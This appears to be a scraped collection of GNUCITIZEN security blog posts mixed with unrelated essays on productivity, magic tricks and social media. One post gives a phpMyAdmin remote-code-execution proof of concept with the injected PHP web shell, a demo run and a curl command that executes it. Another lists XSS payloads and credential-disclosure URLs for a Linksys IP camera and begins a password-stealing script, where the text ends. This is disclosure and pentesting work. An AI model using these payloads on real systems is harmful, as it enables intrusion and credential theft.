Some interesting stuff!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

I often hear about success stories where the direct cause for the success is someone’s hard work and persistence. Although in my mind persistence is important, it seems that hard work is seriously overrated according to the founders of Flickr and a bunch of neuroscientists, as reported here and here. Now, this is an idea I fully support.

Here is what Caterina Fake has to say about working hard:

We agreed that a lot of what we then considered “working hard” was actually “freaking out”. Freaking out included panicking, working on things just to be working on something, not knowing what we were doing, fearing failure, worrying about things we needn’t have worried about, thinking about fund raising rather than product building, building too many features, getting distracted by competitors, being at the office since just being there seemed productive even if it wasn’t – and other time-consuming activities.

Much more important than working hard is knowing how to find the right thing to work on. Paying attention to what is going on in the world. Seeing patterns. Seeing things as they are rather than how you want them to be. Being able to read what people want. Putting yourself in the right place where information is flowing freely and interesting new juxtapositions can be seen. But you can save yourself a lot of time by working on the right thing. Working hard, even, if that’s what you like to do.

There are a few interesting things we can draw from Caterina’s experience. I’ve organised them in bullet points to be processed easily when it is needed and also added a few things on this subject I found out on my own. So here is the list.

How to Avoid Working Hard

1. Find the right thing to work on.
2. Pay attention to what is going on in the world.
3. Look for patterns.
4. See things as they are rather than how you want them to be.
5. Read what people want.
6. Put yourself in the right place where information is flowing freely and interesting new juxtapositions can be seen.
7. Never, ever work for work’s sake.
8. Even when you need to work hard, take a 10 minutes break every 40 minutes.
9. Take it easy.
10. Keep it simple.

I know for a fact that these things may sound like nonsense to some of you but there is some truth in them if you choose to embrace this kind of lifestyle.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.

I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is NOT affected apparently).

These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.

Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.

Details can be found on the attached PDF document.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Last Wednesday (09/09/2009) Derren Brown predicted, or at least he made us to believe that he did, five numbers from the lottery draw aired on BBC. For those of you who have no clue what I am talking about, here is a video footage from the show.

How did he do it? I was eager to find out but since he promised to reveal the secret the following Friday, I retained myself from making any guesses until I see the show on TV first. His explanation is out now and as I thought things do not add up as nicely as I would like.

So here is what I think is possible and what is not. Let’s lay out some facts:

1. You cannot predict a relatively random sequence of numbers – unless it is not random at all. Any claims and proof that the lottery is predictable will make the draw automatically invalid. Not random means that it is fixed. It also means that it is unfair.
2. The lottery draw is NOT invalid – and therefore it wasn’t predicted as he tried to made us to believe. Derren did get an approval from Camelot to do the show and they were completely aware of what he was up to. Camelot knew that the draw cannot be invalidated because Derren did not and could not get the winning numbers, which leads us to the obvious conclusion that it is only an illusion.
3. Even if the lottery can be predicted due to being not random, it is very unlikely that Derren has access to resources that can give him the ability to predict the numbers. Think about all technical aspects required to perform a one time guess of something that is the end result of many system properties and variables which are influenced by all kinds of internal and external processes.

The most likely explanation of the trick is usually the most obvious one. The most obvious explanation is that this is a live video montage. Why? Well, why didn’t he do the draw live on stage but inside a studio? The reason for this is because he cannot guess the winning numbers. Only a studio with fixed lighting and scene will let him to create the illusion.

Another peculiar thing about this act is that he essentially gives deliberate hints on exactly how everything works in reality. At the beginning of the show where the trick was explained, he starts by presenting to the audience 3 possible options he could have employed in order to pull off this trick. Here they are:

1. Fake a ticket
2. Genuinely guess the winning numbers
3. Fix the machine

The funny thing is how he disregards the first and most obvious solution by suggesting that it is too obvious and uninteresting and therefore it should be ignored. He quickly moves on on the second possible solution. Now this is basically 99% of the entire show. It is extremely convoluted and full of pseudoscience of all sorts. The last possible solution is of course not possible at all since this will undoubtedly land him in jail, nevertheless he spends a couple of minutes on it at the end of the show to force us to thinker between options 2 and 3 and completely ignore option 1. He is a mentalist after all.

Derren Brown is a magician at the end of the day. The power is not in the trick but in the magician being able to produce an image of something magical happening.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. It has been two months since that day but memories are still as clear as yesterday.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.

Without further ado, I would like to introduce you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own Websecurify initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.

Here are some of the key features of Websecurify:

1. It is 100% open source, GPL, CC product, ready to benefit the open source movement
2. The engine employs technologies, such as Web Workers, from the latest HTML5 specs
3. Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C
4. The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.
5. The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.
6. The tool is cross-platformed thanks to xulrunner
7. Everything is written with extensibility in mind
8. It can be extended in pretty much the same way you can extend Firefox and Thunderbird

There are many other features, which I am going to talk about soon.

At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.

Version 0.2 can be downloaded from www.websecurify.com or our source code repository.

If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

I’ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London.

pdp has also been busy presenting at AusCERT2009. In his “Weaponry 2.0″, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his Jeriko pentesting environment (NOT framework!).

My CONFidence presentation was on PCI DSS, and credit card theft from a pentester’s perspective. I attempted to explain why it’s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.

On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about cloning (activated) gift cards without physically swiping the magnetic stripes. Trust me when I say that there is a lot of truth on Drago’s tweet regarding this research!

My EUSecWest slides have just been recently published. More details will soon be available on a white paper which will be available on Corsaire Research website.

Thanks

I’d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and Dragos Ruiu from EUSecWest (plus their respective crews of course).

Also, special thanks to Corsaire who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn’t for Corsaire, this research wouldn’t have been resumed.

Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

I think this vulnerability is a nice reminder that it’s still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow).

All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.

After reading the public advisory and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from advisory to working attack code.

I’m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don’t be evil, it’s not worth it.

Demo

$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh 
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ $ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.: http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/ http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo(); please send any feedback/improvements for this script to unknown.pentester gmail.com $ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x 2 root root 4096 Mar 11 10:12 bin
drwxr-xr-x 3 root root 4096 May 6 10:01 boot
lrwxrwxrwx 1 root root 11 Oct 12 2008 cdrom -> media/cdrom
drwxr-xr-x 15 root root 14300 Jun 5 09:02 dev
drwxr-xr-x 147 root root 12288 Jun 5 09:02 etc
drwxr-xr-x 3 root root 4096 Oct 18 2008 home
drwxr-xr-x 2 root root 4096 Jul 2 2008 initrd
[partial output removed for brevity reasons]

Contents of /config/config.inc.php after our evil code has been successfully injected (injected code shown in bold):

<?php
/* * Generated configuration file * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal Čihař <michal@cihar.com> * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $ * Date: Tue, 09 Jun 2009 14:13:34 GMT */ /* Servers configuration */
$i = 0; /* Server (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo
'<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root'; /* End of servers configuration */ ?>

Thanks

I’d like to thank Greg Ose for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to str0ke for testing this PoC script and providing such useful feedback!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Mounting the filesystem on your workstation

There are many ways to mount the camera’s filesystem using the firmware binary. In this post, we’ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.

If you were to only use the firmware binary, things could be a bit difficult, as you don’t know the format of the binary at all. However, having the GPL firmware helps a lot as we’ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn’t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and has been available ever since (the file to download is wvc54gca_v1.00R24.tgz).

Thanks to Lex Landa’s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the ./scripts/wvc54gc_usa_english/combine.cfg file which is included with the GPL firmware:

size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=kernel
f3_start=00020000
f4_name=filesystem
f4_start=000E0000
f5_name=PID
f5_start=003FFFB2

I simply focused on the kernel and filesystem parameters. The previous settings show that then kernel starts at 0×20000 (131072 bytes / 128 KB), and the filesystem starts at 0xE0000 (917504 bytes / 896 KB). In order to start dd reading at 0xE0000, we need to keep 7 chunks of 131072 bytes. i.e.:7*131072=917504 bytes=0xE0000 (the position we want)

$ dd if=DYFF08-402-1024.bin bs=131072 of=fs.img skip=7
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s

We then verify that our image file is a valid squashfs filesystem:

$ file fs.img fs.img: Squashfs filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov 9 03:58:52 2007

A finally mount it on our hardrive:

$ sudo mkdir /mnt/test
$ sudo mount -t squashfs fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin dev etc lib mnt proc root sbin tmp usr var

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Do not ignore the simple and the obvious. Some of the greatest things ever invented are quite simple and rather obvious but nevertheless great and irreplaceable.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Global communities are places such as Facebook, Twitter, MySpace and all other social networks which sole purpose is to get as many users on board as possible. They are doing well but have become significantly less helpful in the last couple of years. In other words, people find them too intrusive, to globalized and subjective to abuse. People add friends as maniacs for no apparent reason apart form increasing their rank and apparently popularity level – a number which often means nothing to anyone.

As a result of all of this, we see the emergency of hyper local communities where real relationships can be made; micro communities designed around very specific purposes with clearly defined goals. These communities matter as they are real. They are small but sometimes quite significant and influential.

Needless to say, hyper local and micro communities are more secure and less subjective to abuse. Simply put, when people know each other quite well a lot of technological and social related problems such as spam, fake identities, etc., become non-issues. They simple disappear. This is an interesting side-effect which worths further exploration.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

I took the courtesy to summarize them all here but pay a tribute to mashable by visiting their website first.

The Lessons

1. Success requires constant dedication – To succeed, you need to put in time and dedication.
2. It’s important to strategize your communication – If you don’t communicate effectively and clearly who you are and what you want no one will listen.
3. Set an objective and develop a strategy – Do not attempt to utilize social media without any specific objective or idea on how to be successful. You will fade away because you didn’t try to participate actively in the community or just didn’t know how.
4. It’s about networking – The people you connect with are incredibly important. It can mean the difference between success and failure.
5. Join new services, create new lines of communication – You should always be looking to create new lines of communication and new people to interact with. Rely on these people to educate and enlighten you. Expand your horizons by trying out new things in social media.
6. Earn other people’s trust – People won’t trust you until you can show them that you are to be trusted. Enough charlatans exist that you have to prove your value first before earning respect.

All of this reminds me of something I wanted to do for long, long time. Let me explain. In my high school years me and my friends used to organize late evening StarCraft tournaments – nothing too obsessive, two games max per day and no more than 1-2 hours long. We used to do these tournaments for a couple of months and it was then when I noticed similarities between the strategies involved in the game and the things that we do in real life. I very rarely play strategy games these days but I’ve always wanted to summarize in a blog post or something my conclusions from my experience when I used to play.

I guess now I have an incentive to finally sit and do it.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

If you watch the video you will spot the Kindle sell-out but it is interesting presentation nevertheless. Actually, I listened to (yes audio version) of Seth’s book called Tribes and I found the whole idea quite fascinating but a bit off the ground.

See the video. You might get inspired to start your own tribe.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Got the idea? No! Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.

This is the kind of information gathering you see only in the movies. I won’t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.

All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.

This is the main purpose of my Web2.0 talk/research from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.

The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.

The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for security aware people to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Keep this in mind the next time you design a service or a product. The simpler the better.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

What I liked the most about this video is that the authors clearly explain that social media is first of all the collective contributions of ordinary people through blogs, wikies, podcasts and other social instruments combined with the efforts of other individuals and organizations who are willing to aggregate, organize and help facilitate community feedback.

By the people, for the people!

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Steve Jobs and St. Peter are also there.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The story goes that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don’t know why.

The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I’ve got several points I would like to bring to the table:

1. More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.
2. As I mentioned before, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.
3. Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.

It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with more people looking to quickly cache in, the battlefield is truly changing for better or worse.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

Of course, requests of that nature were kindly ignored. I couldn’t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce.

Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.

Same year, different event… I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled Fighting web Based, Profit-Driven Threats. On one of his slides, Robert commented that cybercrime is becoming more profitable than the drug cartels. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.

Present times, DojoSec Monthly Briefings… Matthew Watchinski from Sourcefire VRT talked about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.

All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!

Sell The Bugs

Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:

• Cybercrime is not a joke – If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.
• TAX man problems – Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.
• Broken legs and other broken parts of the body – You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.
• Even worse – People will kill for a lot less than 75K. Keep that in mind.

In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.

Exploit Sweatshop

Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.

The aim was simple: a) develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and b) sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.

Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day buffer overflow exploits a relative easy to detect. All you need is a crash caused by putting far too many 0×41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.

Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let’s do the maths:

# average exploit price: $5000
# number of people to hire: 5
# average monthly salary: $100
# job specs: write fuzzers 5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work

Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.

Some Final Words

Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the hacker figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.

So, don’t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don’t jump onto the No free bugs! bandwagon.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

The version inside the new code repository is very different from the version you’ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:

#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel

This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don’t have to learn a new programming language. Your bash skills are good for jeriko too.

Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.

---
gnucitizen information security gigs part of the cutting-edge network:

• No active items found!
• GNUCITIZEN NETWORK

---
recent posts from the gnucitizen cutting-edge network:

Was Huxley right?
Websecurify Advanced is Coming Up in 2010
WebsecurifyPro Transactions, Browser Sessions and Snapshots
WebsecurifyPro User Interface Preview Pt1
0.4 is Available Now

There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.

Disclosure of Credentials in Client-side Source Code

As a consumer of embedded products, I find highly frustrating to see how many devices’ web interfaces return passwords back to the browser within HTML source code. I’ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.

Visiting the “change admin password” page:

/adm/file.cgi?next_file=pass_wd.htm

Causes the current admin password to be returned (just view the source code with your browser):

<input type="password" size="8" maxlength="64" name="admpw" value="C4mP4ssw0rd" onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">

Visiting the "Wireless Security Page":

/adm/file.cgi?next_file=Wsecurity.htm

Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:

<input type="text" name="psk" size="24" maxlength="63" value="mywirelesskey">

Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).

Now, I know there are people out there who might find these types of issues not worth fixing. The following is the thinking behind their reasoning.

In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses basic authentication which transmits credentials in the clear (base64 encoding) anyway.

In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.

So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.

Several XSS bugs

Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.

Boring PoCs:

/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E

/adm/file.cgi?todo=xss&this_file=%3cscript%3ealert(1)%3c/script%3e

XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.

As you can see in the first two XSS vulns, we use img tags, rather then script tags, due to closing script tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.

Admin Password theft XSS PoC

The following is the PoC exploit which steals the admin user's password.

// evil.js : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
